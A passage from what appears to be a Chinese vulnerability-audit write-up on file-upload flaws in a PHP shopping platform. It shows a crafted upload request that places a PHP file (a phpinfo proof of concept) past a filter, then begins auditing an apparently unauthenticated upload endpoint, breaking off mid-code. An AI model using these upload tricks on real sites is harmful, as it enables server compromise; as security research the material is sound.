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 truncated
<p>构造请求包</p>
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>extension</span><span class=o>&amp;</span><span class=n>action</span><span class=o>=</span><span class=n>uploadImg</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
<span class=n>Accept</span><span class=p>:</span> <span class=o>*/*</span>
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>identity</span>
<span class=n>Cache</span><span class=o>-</span><span class=n>Control</span><span class=p>:</span> <span class=n>no</span><span class=o>-</span><span class=n>cache</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=--------------------------</span><span class=mi>371918364269932091066326</span>
<span class=n>Cookie</span><span class=p>:</span> <span class=n>admin_mojavi</span><span class=o>=</span><span class=n>idaa1su8mvj9leoubg27osau0r</span><span class=p>;</span> <span class=n>XDEBUG_SESSION</span><span class=o>=</span><span class=n>PHPSTORM</span>
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>PostmanRuntime</span><span class=o>-</span><span class=n>ApipostRuntime</span><span class=o>/</span><span class=mf>1.1</span><span class=o>.</span><span class=mi>0</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>230</span>
<span class=o>----------------------------</span><span class=mi>371918364269932091066326</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"file"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"PassWaf_3.php"</span>
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>image</span><span class=o>/</span><span class=n>php</span>
<span class=o>&lt;</span><span class=err>?</span><span class=n>php</span> <span class=nd>@phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>&gt;</span>
<span class=o>----------------------------</span><span class=mi>371918364269932091066326</span><span class=o>--</span>
</pre></div>
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141819-7f657130-d793-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABGUAAALFCAYAAABqJl6KAAEAAElEQVR4nOzdd3hUVfrA8e/09N4DIQlJ6BBK6L3jooLYe1tXxbqW37rurrqWFV1WVxd11wZ2RFERlN57h4Qe0nvv0+f+/phkSCBAAoEAvp/nyQOZufeec+9M5p55zznvUW3atEkZOHAgQgghhBBCCCGEEOLiUbd3BYQQQgghhBBCCCF+iyQoI4QQQgghhBBCCNEOtLU1NezdubO96yGEUBRQqdq7FkIIcVlRHA7MZjN6vR61RtPe1RFCiMuDtDuFuGRovby9GTB4cHvXQwghhBCi1YxGI8l79pDQrRt+/v7tXR0hhBBCiFaR6UtCCCGEEEIIIYQQ7UCCMkIIIYS4bMngeyGEEEJcziQoI4QQQojLltLeFRBCCCGEOA8SlBFCCCGEEEIIIYRoB9r2roAQQgghxLmS6UtCCCHE6SntMKRUFvZqHQnKCCGEEOKyJdOXhBBCiKbsdjt7jhexbE8mn606dNHLH989kEcmxqHT6S562Q2sVit1RiNenp5oNJp2qUN4eDgarRaDwYDqDJEqCcoIIYQQQgghhBBXkPvfWYnRYmvvavym5efn4+vriyE4+IzbSU4ZIYQQQgghhBDiCvGfxfuw2OztXQ0B1NXVYTabz7iNBGWEEEIIIYQQQogrxL70YuwOmeB7KbBardjtZw6QSVBGCCGEEEIIIYQQoh1IUEYIIYQQQgghhBCiHUiiXyGEEEIIIYQQ4jdArVLRPz6Uod0iGNY94pTnzVY7nyxPYeOBXN6fOR4fT/0p29QYrbw6fxvH8yvapE4bN22itq7urNN8wFl/tUbDoIED8fXxaZPyARRFYfnKlS2qA4BaraZ/v34EBwWdd9kSlBFCCCGEEEIIIX4LVODroadTsDd9Yk5dFchksRHg7YZKpaJHp0ACvN1O2aai1oyHoe1CCRUVFVRV17QsKKNWodFosNnafmWpsrIybC1MkKxWq7FYLG1SrkxfEkIIIYQQQgghhGgHMlJGCCGEEJctVXtXQAghhBDnRW8w4Ga14nA4zrqtSuUcKaNWXTktAAnKCCGEEOKyJQt+CiGEEJe3gIAAPNzdsbc0KKNWo9XpLkLNLg4JygghhBBCCCGEEKJdBAUGYrVaUZSWdbWoVCp02isnlHHlnIkQQgghfnOunMHLQgghxG9T6vHj1NbWtijRb8P0paCgINzcTk1CfDmSoIwQQgghLlsyfUkIIYS4vJlMJurq6rDbWzZ9SavVtCj/zOVCgjJCCCGEEEIIIYRoH4qCotCi6UsqVcu2u5xIUEYIIYQQQgghhPiNsDkUTFY7NSbrKc+ZLDasNgegUGuyotdpTtmm1mTF4Wi7wIhGq0Wn06JqwYpKarVz+lJLtm0trVZLSydGazTqNlsB6tyCMnYTmCzNPKEGNw/QqM+vVkIIIYQQF4tiBZMJTmlgqkBnAJ1ektcIIYS4IjgcCtsO55OcXsz7S/ad8ryCQnmNGavdwZ3/WoqmmcCDQ1EorjS2WZ1GjRjRuulIKhXu7u5tVr7zkCqmTJrUqn3c2qgO5xaUSf0c5v7czBOBMOo66DcIQkLOr2aXEkWB6gqoM0NQEFxBmZ6FEEKI37zq3fDxHCiqOOkJD+g8FIaNh27d26NmQgghRJszWmwYLTZKq01n3C6vtOai1MfDw+OilHM2Xl5e7VLuOY6UsUFprnNCV1is89+yfDDnwaKjkHUz3HAv+Hu2cXXbyY7/wZ40UMfDDbeAnwRlhBBCiCtKZRGUlYBPEPgGQ0UhVOdBWSqk74Z7ZkFcaHvXUgghhBBXmPOcZxQAk56FB9+Ap/4JvTqB3Qz7t0FOfjPbK9Rn8DnDMU/eRuHUtRWae+xMj3PimGcqu9ltFDiwEHavguKSZoY2CyGEEKK9tO2sIjfoNh3ufg0efxuuvQbcgNI02Lyj+V3O2r5QTt++QGl+u9M63bFO2qbxcdvimGc9hhBCiEvJczckYWgmF4y4+Ly8vM66dPf5DflQdOATAWERQCfo3xtSMsFqAVvjpEFGyD0K+9fA4VQgCEaOgdh+4O/t3MRhhMJkSF4PBwoguCcMHgEZG8AKhA2H3p2h+jgkb4Q6DXQdA506OPcv2QI7jgB6GHEdeNWfuKMKUvfAvo3OQJFXnPO4nXuAR/02VQVwdD/s2wRVpeATCF2uhq4+cGgbZNTPlytNhdXfQKd4SBp1XpdOCCGEEOevbUMFanALhOCOYAAcQ2DXGsixgqmu0XY2qMyBtF2wYT3Y3SC+N/QeDVGR9RVTIHMvHNwL6SngcEBoLxj8O4jwgeQfoMAC+i7Q0xd2rYL0IxAYD32uhdiOYGhoUJug4DgcWg1Hj0AdED4Eeg2A2ChomNNevBdS9oPZA6J7gr0Ydi6EOj/oPBaSBoG//sRpZDSqn90GYb1g0O8gKgxUVijPhrSdsH494AVdE6H3GIiUEUNCCHEpiw3zpX9cCDklNWQVV7d3dX6z3NzcMLi5oVafeSxM283DsRRAZr6zdeTp40z4C0AtpPwEC/7rbHx4h4B5LxxbB0n3wHU3gK8OstbCvHchr8i52+G1cHgN1B2AWiDJHbrHQPFhWPYulHkAfU8EZTI2wA/zgUjoclV9UKYc1n8EP30DdR4QGAKHt8L+VTDxcZg8Bkz5sOQt2LQJFD34+kHBTsixgfdwWP0JFNQ3xGr2wor90H2GBGWEEEKIK5nDBIVpUGUBjRb8g+ufUKB0F3z7NqQcA4LAEzi8Crbtgvufh06BkL0WPnoFiivBPRy86+DYfvBJgMAesPNr2JkPXr0guQIOZdcffyvs3QrT/wYDuoGmDg4tge8+gJzKE/U7vBW2h8LQe2Hq1eCmh+IUWPY/qNZDVCyUHYOKWuf2e9dC+d/hphHO37PXw0cvNaqfEVL3g3c8RAZD6Vb49h04lA6aEDDY4PBK2JkCd/8ROgZc8JdACCHEuVGpVHz8+ET2pRezen/ORS8/LsSDwKBANGcJRlxIdocDH6sVvV7fZqsktYpKhb+/f4s2Pb+gjKoCNvwXkrVQlQaHjoLWHwZdA9Hhzm1KDsPy+VBogV53wqQRYM2GeX+FPT9Bt/7QMwhWvOcMyGg7wLT7IUwL2z+A04wWbpHMtbB0MVhDYcxdMLA3ZK2CRZ/C6q+g3wCo3uIcIePQwIS/QGKEc3RNhQpiIuCaJ2D1v+BoLYQMg6HDIDL2vC6bEEIIIS5FZji+DL5LB0cGHE2FKjN0mARjkpybOOyw8RPYewx8BsHt94KnBVa/D/u2waplcOvVsOkzZ8AjchhMuhPCgPJKCIqFxiPKaw+Az6PwSDRUZ8JXc6D8GKxeDN2iwXgAFn/oDMgE9IPJ10GAJyR/Buv2wNoPIaw7DO924pi2KqgAJv0J3LPhl/9CUTXs/Ql+NwK8amDzPGf9IobA5LsgTAXlVRDU2Tl6ef1cSEkH3+Fw9z2gq3Z2ih3aANv6QcfrLs5LIoQQotUaRmb07RxK384yuvFSd54jZcxwYCXYLc5huo4QeOgd6BkDOg0oRjiyBo7lgs4LBk0BPx3gCzFhsCcLDh6EcC3szgNUMOYpGDfcme2mazDs+YNz+lJrOQph02pnD1FYAvQaAt4a6JAIof6QlgIHsiDSBnYHOIDCY6DqCmExEOvuTGCc2BH2vgfUOnuSBk5xNoaEEEIIcYWxQ36y88dhA8ULhv8Rrp0GPvUjgK27YNku5//7joewUGebJa4LHDgKOduhcCRY6xsvVXlQXQOdu0BEH9BqwFJxokjdcLjj1vp201DIXQErD0DmQairhJwtcLwUVO4w7QVIigC1CiKCIPNuyCiBTeubBmVUATDwRhg9ARzlUHIEFq8FYwqUAF72RvXLh6oa6Nz1RP0q18Ca+mVSkyZDcBAQCAkJzpEzxkMX6PoLIYQQvz3nGZRxh/7XgqMAju+G0iI4ehC6xIEOsFuhstiZHNdaB9/NPLFrRQGgcs6xLs8HO84GR8coZ2MDQBcJASooPIcZ4+YaqKl0TqcqOQifPeR83G6F6nJn2XYVRCZB4lDYsg32fAqHFkCPSTDiWufylycPdVKpnT9CCCGEuMJoIWoQdIyE3I1wPA+y9kHVNeBTv0l5PtgUZ/tg13uwrz5HS20FWG2g2MHhA4Ovg9SPoDAdFjwFG+Jg8M0waAR4NmpHBEQ4AzIAKg0EhwMHwFEMZSbnqlAKoA6HuMgTSzS4+UJwB8jIhOKTFlfQu4NvkLM9pXYDv5D6Jxz1SXh8YfAMOFoChRnw3dOwoXN9/UY6A0kN57jtX7BT59y9phxsDto6k48QQgjxW3aeiX59IOlW6OIJq96EX5fClo8hPBZG9my6rSYMBl4HJy9B3ikRHGsaHbOtb/Qq8OkGA4c7k/Y11jMC/ALhqqcgbh1s/gky0mDX95CfA7e/AJ1Dmj2qEEIIIa40eogaATOuh+we8MnfnNOef+oLM28+aVsv6DzOOfK3Md8OEOwOntPhzmBIWQP7VkN+Kix+C0qNMHVcC+riA16Nm2llzhx7gc1t6teak3SKuwbuCoTk1bBvDeQfhyVvO+vXv2GIsjckTIKOJxXaMb715QkhhBCiWW2T6FfnC6NvgwOH4WgWrPsCOj0FUV7gFwpqNaiN0HUaxLk7169UHGCzgcEDSo4551c7jJC8A/pGgtoBRTuh9KQgjUrlHKmi2KEkG6xdQbHC0T3O5xo2d/MGb39nWW7ukDgDIup7sxw2Zw+Qp6dzCW/PYBh4E3SfCIe+g++/hNJMSM9pGpSxW5x1ttucSf+EEEIIcWWKGQFjpsLCX+DI57ChJwzrCf6RoFODzQgh/WHUCNDWj6q1mUFtADcNmGshZih06Line truncated
<h3 id=toc-3>未授权文件上传</h3>
<p>上述的文件上传只限于后台,如果没有登录无法利用因此尝试寻找是否存在其他上传点,利用审计工具查找关键字</p>
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141919-a37dacfe-d793-1.png><img src=data:image/png;base64,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 truncated
<p>审计/webapp/modules/api/actions/userAction.class.php</p>
<div class=highlight><pre><span></span><span class=n>public</span> <span class=n>function</span> <span class=n>upload</span><span class=p>(){</span>
<span class=o>//</span> <span class=err>查询配置表信息</span>
<span class=err>$</span><span class=n>sql</span> <span class=o>=</span> <span class=s2>"select * from lkt_config where id = '1'"</span><span class=p>;</span>
<span class=err>$</span><span class=n>r</span> <span class=o>=</span> <span class=n>lkt_gets</span><span class=p>(</span><span class=err>$</span><span class=n>sql</span><span class=p>);</span>
